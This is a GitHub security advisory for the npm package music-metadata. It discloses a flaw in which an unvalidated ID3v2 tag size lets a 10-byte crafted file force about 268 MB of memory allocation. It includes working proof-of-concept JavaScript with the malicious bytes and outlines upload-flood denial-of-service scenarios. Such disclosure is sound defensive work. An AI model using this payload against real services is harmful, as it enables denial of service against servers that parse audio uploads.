Skip to content

music-metadata: ID3v2 tag size not validated before allocation, causing memory exhaustion DoS

Moderate severity GitHub Reviewed Published Sep 23, 2026 in Borewit/music-metadata • Updated Oct 8, 2026

Package

npm music-metadata (npm)

Affected versions

<= 11.12.3

Patched versions

11.16.0

Description

Summary

The ID3v2 parser in music-metadata trusts the tag size field without validation and allocates the full requested buffer before reading. A specially crafted MP3 file with a truncated ID3v2 tag can force allocation of up to 268 MB from a 10-byte file, causing server memory exhaustion. This vulnerability affects all parsers that support ID3v2 tags (MP3, FLAC, DSF, Musepack) and succeeds silently—callers don't see an error.


Details

Vulnerable Code Path:

  • lib/id3v2/ID3v2Token.ts:108 - Syncsafe size read without validation
  • lib/id3v2/ID3v2Parser.ts:122 - Full tag body allocated before reading
  • lib/id3v2/AbstractID3Parser.ts:22 - Allocation happens before stream validation

Root Cause:

The ID3v2 parser reads a syncsafe integer representing the tag size (maximum 268,435,455 bytes or 0x0FFFFFFF) and immediately allocates a buffer of that size without checking:

  1. If the tag size exceeds the remaining file size
  2. If the tag size exceeds a reasonable maximum
  3. If the subsequent read will actually succeed
// ID3v2Token.ts:108
const size = ID3v2Header.header.toSize(); // Trusts syncsafe size directly

// Later: Allocates without validation
const tagBody = await tokenizer.readBuffer(Buffer.alloc(size));
// If actual data < size, read fails but allocation succeeded

Attack Mechanism:

  1. File contains valid ID3v2 header with 10 bytes total
  2. ID3v2 size field claims 268,435,455 bytes (maximum syncsafe value)
  3. Parser allocates 268 MB buffer
  4. Stream read fails (EOF) after 10 bytes
  5. EndOfStreamError is caught internally and silently handled
  6. Caller receives normal metadata object
  7. 268 MB remains allocated until garbage collection

Affected Parsers: MP3 (primary), FLAC, DSF, Musepack

Memory Amplification: 10 bytes input → 268 MB allocation (26.8 million times amplification)


PoC

Complete reproduction steps:

import { parseBuffer } from 'music-metadata';

// Create a minimal ID3v2 file with maximum tag size but truncated content
const maliciousFile = Uint8Array.from([
  0x49, 0x44, 0x33,       // "ID3" identifier
  0x04, 0x00,             // Version 2.4.0
  0x00,                   // Flags (no unsync, no extended header, etc)
  0x7f, 0x7f, 0x7f, 0x7f  // Syncsafe integer: maximum size (268,435,455 bytes)
  // File ends here - truncated
]);

console.log('Input file size:', maliciousFile.byteLength, 'bytes');

try {
  const metadata = await parseBuffer(maliciousFile, { mimeType: 'audio/mpeg' });
  console.log('✓ Parse succeeded (no error thrown)');
  console.log('✓ Metadata returned:', metadata);
  console.log('⚠️ ~268 MB was allocated despite only 10 bytes of input');
} catch (error) {
  console.error('✗ Unexpected error:', error.message);
}

To demonstrate memory impact:

Run with node --expose-gc to monitor allocations:

// Extended PoC to show memory usage
import { parseBuffer } from 'music-metadata';
import { performance } from 'perf_hooks';

const maliciousFile = Uint8Array.from([
  0x49, 0x44, 0x33, 0x04, 0x00, 0x00,
  0x7f, 0x7f, 0x7f, 0x7f
]);

// Force garbage collection before test
if (global.gc) global.gc();
const before = process.memoryUsage();

console.log('Memory before:', {
  heapUsed: (before.heapUsed / 1024 / 1024).toFixed(2) + ' MB',
  external: (before.external / 1024 / 1024).toFixed(2) + ' MB'
});

const start = performance.now();
await parseBuffer(maliciousFile, { mimeType: 'audio/mpeg' });
const duration = performance.now() - start;

const after = process.memoryUsage();

console.log('Memory after:', {
  heapUsed: (after.heapUsed / 1024 / 1024).toFixed(2) + ' MB',
  external: (after.external / 1024 / 1024).toFixed(2) + ' MB',
  heapDelta: ((after.heapUsed - before.heapUsed) / 1024 / 1024).toFixed(2) + ' MB',
  externalDelta: ((after.external - before.external) / 1024 / 1024).toFixed(2) + ' MB'
});

console.log('Parse time:', duration.toFixed(2) + ' ms');
console.log('Result:', after.external / 1024 / 1024 > 100 ? '⚠️ LARGE ALLOCATION' : '✓ Normal');

Expected output:

Input file size: 10 bytes
✓ Parse succeeded (no error thrown)
✓ Metadata returned: { format: {}, common: {}, native: {} }
⚠️ ~268 MB was allocated despite only 10 bytes of input

Memory before: { heapUsed: '2.50 MB', external: '0.00 MB' }
Memory after: { heapUsed: '2.60 MB', external: '256.00 MB' }
externalDelta: 256.00 MB
Parse time: 15.23 ms
Result: ⚠️ LARGE ALLOCATION

Impact

Vulnerability Type: Uncontrolled Memory Allocation / Denial of Service (CWE-789)

Attack Vector: Network - Any service that accepts and parses MP3/FLAC/DSF/Musepack files

Who is Impacted:

  • Music streaming platforms (Spotify, Apple Music, YouTube Music, etc.)
  • Podcast hosting services (Podbean, Transistor, Anchor, etc.)
  • Media servers (Plex, Subsonic, Jellyfin, etc.)
  • Audio processing services (Discord, Slack, Teams)
  • Any web service with file upload that uses music-metadata

Real-World Exploitation:

  1. Single Attacker, Multiple Files:

    • Upload 10 malicious ID3v2 files (10 bytes each)
    • Force 2.68 GB memory allocation
    • Overwhelm server memory capacity
  2. Distributed Attack:

    • 100 concurrent uploads × 268 MB = 26.8 GB memory
    • Exhaust server memory, force OOM kills
    • Crash worker processes, cause DoS
  3. Slow Leak:

    • Repeatedly upload truncated ID3v2 files
    • Each parse allocates 268 MB
    • Memory leaks accumulate over time
    • Server becomes unresponsive
  4. Cost Impact:

    • Forced to scale up server capacity for parsing
    • Increased infrastructure costs
    • Reduced service availability

References

@Borewit Borewit published to Borewit/music-metadata Sep 23, 2026
Published to the GitHub Advisory Database Oct 8, 2026
Reviewed Oct 8, 2026
Last updated Oct 8, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(3rd percentile)

Weaknesses

Memory Allocation with Excessive Size Value

The product allocates memory based on an untrusted, large size value, but it does not ensure that the size is within expected limits, allowing arbitrary amounts of memory to be allocated. Learn more on MITRE.

CVE ID

CVE-2026-107388

GHSA ID

GHSA-jjpr-9cvf-cq55

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.